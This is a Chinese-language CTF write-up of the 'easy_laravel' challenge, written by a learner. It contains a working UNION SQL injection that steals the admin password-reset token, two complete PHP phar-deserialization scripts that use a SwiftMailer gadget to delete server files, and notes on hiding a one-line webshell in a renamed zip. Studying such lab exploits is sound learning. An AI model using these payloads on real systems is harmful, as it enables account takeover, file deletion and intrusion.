XCTF_easylaravel
首先关于Laravel:重置密码 - Laravel 5.4 - Web Artisans 的 PHP 框架
先登录网站,登录注册什么的功能都有,扫描目录的时候看一下网页代码,发现是个代码审计题:
后续路径扫描找到了一个upload,但是没什么用上不去。
下载源码看一下,发现有composer.json
,于是composer install
一下
看一下路由:
发现有一个flag路由,跟进一下
发现使用了中间件,一个是要身份验证,还有一个应该是要管理员身份才能拿到flag,那看一下中间件怎么控制的。
没直接找到名字为admin的中间件,在Kernel.php
看一下注册的名字关联:
查看这个中间件代码,发现需要账户的邮箱为指定的管理员邮箱:
看一下用户注册的代码RegisterController.php
,邮箱无法重复使用:
看一下密码重置:
使用的是原生的重置方法,去官方文档看一下:
如果配置了密码重置自定义过程会配置代理,看一下有没有代理,全局搜索发现有easy_laravel-master\vendor\laravel\framework\src\Illuminate\Auth\Passwords\PasswordBroker.php
:
发送重置连接会创建一个token,根据官方文档,提供了储存token的数据库:
==》
得到了表名和列名,需要找一下有无sql注入,网页比较少我们只看了flag的控制器,看一下剩下的:(这里其实普通用户登录后只有一个note界面也能联想到看note的控制器和渲染页面)
发先note里真有sql:
注入点是username
,先用order判断列数为5,再看回显位置为第2列
根据之前的发现,需要先去点一下发送链接等系统创建token,接着注入
water3' union select 1,(select token from password_resets where email='admin@qvq.im'),3,4,5--
拿token去修改密码登录admin
flag为空,这里我看源码没有问题但是不知道为什么不显示,看到upload知道应该要做文件上传,但是这里依然很疑惑
先看下文件上传控制器:
这里设置文件后缀的检测,并且给了文件存储位置,但是访问不了,好像无法利用?再看下框架:
搜索一下相关漏洞,有一个CVE-2021-3129
,但是需要Ignition
组件,这里并没有安装这个组件。
到这里实在没什么办法了,去看一下其他师傅的做法
护网杯-easy laravel-Writeup | venenof7’s blog
护网杯easy laravel ——Web菜鸡的详细复盘学习-腾讯云开发者社区-腾讯云 (tencent.com)
护网杯2018 easy_laravel writeup与记录 - 先知社区 (aliyun.com)
得知了无法显示flag的原因:
直接访问会发现页面提示
no flag
,这里页面内容不一致,在 laravel 中,模板文件是存放在resources/views
中的,然后会被编译放到storage/framework/views
中,而编译后的文件存在过期的判断。在
Illuminate/View/Compilers/Compiler.php
中可以看到/** * Determine if the view at the given path is expired. * * @param string $path * @return bool */ public function isExpired($path) { $compiled = $this->getCompiledPath($path); // If the compiled file doesn't exist we will indicate that the view is expired // so that it can be re-compiled. Else, we will verify the last modification // of the views is less than the modification times of the compiled views. if (! $this->files->exists($compiled)) { return true; } $lastModified = $this->files->lastModified($path); return $lastModified >= $this->files->lastModified($compiled); } 而过期时间是依据文件的最后修改时间来判断的,所以判断服务器上编译后的文件最后修改时间大于原本模板文件,那么怎么去删除(修改)编译后的文件?
大概就是说Laravel的模版缓存没有更新,我们要进去把他删除掉让他重新渲染出有flag的页面。
这里的漏洞是是 file_exists
中的参数完全可控,所以可以使用 phar://
协议来触发一次反序列化操作,先了解一下phar://
在之前只知道这是个php伪协议,由于用得不多所以掌握得不是很好
phar://伪协议
这个就是php解压缩报的一个函数,不管后缀是什么,都会当做压缩包来解压,用法:?file=phar://压缩包/内部文件 phar://xxx.png/shell.php 注意 PHP>=5.3.0压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用。……..
总结
phar://伪协议
这个就是php解压缩报的一个函数,不管后缀是什么,都会当做压缩包来解压,用法:?file=phar://压缩包/内部文件 phar://xxx.png/shell.php 注意 PHP>=5.3.0压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用。步骤:写一个一句话木马shell。php,然后用zip协议解压缩为shell.zip。然后将后缀改为png等其他格式
————————————————版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
原文链接:https://blog.csdn.net/abc18964814133/article/details/124664538
反序列化删除文件,那么需要先找一个能删除文件的方法,并且包含在魔法函数中:
主要是unlink()和rmdir()两个函数,先全局搜索一下unink(:
最终发现有一个析构函数中包含了unlink:Swift_ByteStream_TemporaryFileByteStream
==>
<?php
/*
* This file is part of SwiftMailer.
* (c) 2004-2009 Chris Corbyn
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
/**
* @author Romain-Geissler
*/
class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream
{
public function __construct()
{
$filePath = tempnam(sys_get_temp_dir(), 'FileByteStream');
if ($filePath === false) {
throw new Swift_IoException('Failed to retrieve temporary file name.');
}
parent::__construct($filePath, true);
}
public function getContent()
{
if (($content = file_get_contents($this->getPath())) === false) {
throw new Swift_IoException('Failed to get temporary file content.');
}
return $content;
}
public function __destruct()
{
if (file_exists($this->getPath())) {
@unlink($this->getPath());
}
}
}
最后结尾部分,描述得最清楚得是这个:
18年护网杯 Easy Laravel Writeup_writeup 模板-CSDN博客
由于对于反序列化不是很了解,这里大概有两种payload:
一种是护网杯easy laravel ——Web菜鸡的详细复盘学习-腾讯云开发者社区-腾讯云 (tencent.com):
//完整脚本
<?php
include('autoload.php');
$a = serialize(new Swift_ByteStream_TemporaryFileByteStream());
$a = preg_replace('/C:.*tmp/', "/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php", $a);
$a = str_replace('s:45', 's:90', $a);
var_dump(unserialize($a));
$b = unserialize($a);
$p = new Phar('./exp.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$p->setMetadata($b);
$p->addFromString('test.txt','text');
$p->stopBuffering();
?>
构造post参数调用phar://协议
读源码可以找到上传路径/storage/app/public
//app\Http\Controllers\UploadController.php
class UploadController extends Controller
{
public function __construct()
{
$this->middleware(['auth', 'admin']);
$this->path = storage_path('app/public');
}
又因为nginx是默认配置所以完整路径是/usr/share/nginx/html/storage/app/public
check时抓包会发现只有file参数不过源码里面可以看见其实还隐含了path参数
//\app\Http\Controllers\UploadController.php
$path = $request->input('path', $this->path);
$filename = $request->input('filename', null);
if($filename){
if(!file_exists($path . $filename)){
加入path参数拼接直接使用phar伪协议访问了exp.gif
属于是手动替换原始反序列化的参数
另一种18年护网杯 Easy Laravel Writeup_writeup 模板-CSDN博客
<?php
abstract class Swift_ByteStream_AbstractFilterableInputStream
{
/**
* Write sequence.
*/
protected $_sequence = 0;
/**
* StreamFilters.
*
* @var Swift_StreamFilter[]
*/
private $_filters = array();
/**
* A buffer for writing.
*/
private $_writeBuffer = '';
/**
* Bound streams.
*
* @var Swift_InputByteStream[]
*/
private $_mirrors = array();
}
class Swift_ByteStream_FileByteStream extends Swift_ByteStream_AbstractFilterableInputStream
{
/** The internal pointer offset */
private $_offset = 0;
/** The path to the file */
private $_path;
/** The mode this file is opened in for writing */
private $_mode;
/** A lazy-loaded resource handle for reading the file */
private $_reader;
/** A lazy-loaded resource handle for writing the file */
private $_writer;
/** If magic_quotes_runtime is on, this will be true */
private $_quotes = false;
/** If stream is seekable true/false, or null if not known */
private $_seekable = null;
public function __construct($path, $writable = false) {
$this->_path = $path;
$this->_mode = $writable ? 'w+b' : 'rb';
if (function_exists('get_magic_quotes_runtime') && @get_magic_quotes_runtime() == 1) {
$this->_quotes = true;
}
}
/**
* Get the complete path to the file.
*
* @return string
*/
public function getPath()
{
return $this->_path;
}
}
class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream
{
public function __construct()
{
$filePath = "/var/www/html/storage/framework/views/73eb5933be1eb2293500f4a74b45284fd453f0bb.php";
parent::__construct($filePath, true);
}
public function __destruct()
{
if (file_exists($this->getPath())) {
@unlink($this->getPath());
}
}
}
$obj = new Swift_ByteStream_TemporaryFileByteStream();
$p = new Phar('./1.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$p->setMetadata($obj);
$p->addFromString('1.txt','text');
$p->stopBuffering();
?>
直接使用继承,个人更推荐后一种,防止手动计算链子的时候出错。
上岸之后直接放飞自我了,现在开始工作了又继续学习渗透,目前属于是卡住了不知道怎么提升,一个是手生了之前写的都觉得陌生,一个是对于接下来学什么没有明确的方向感,打算先在空余时间学习一下靶场里的困难题,学习一下各种思路什么的。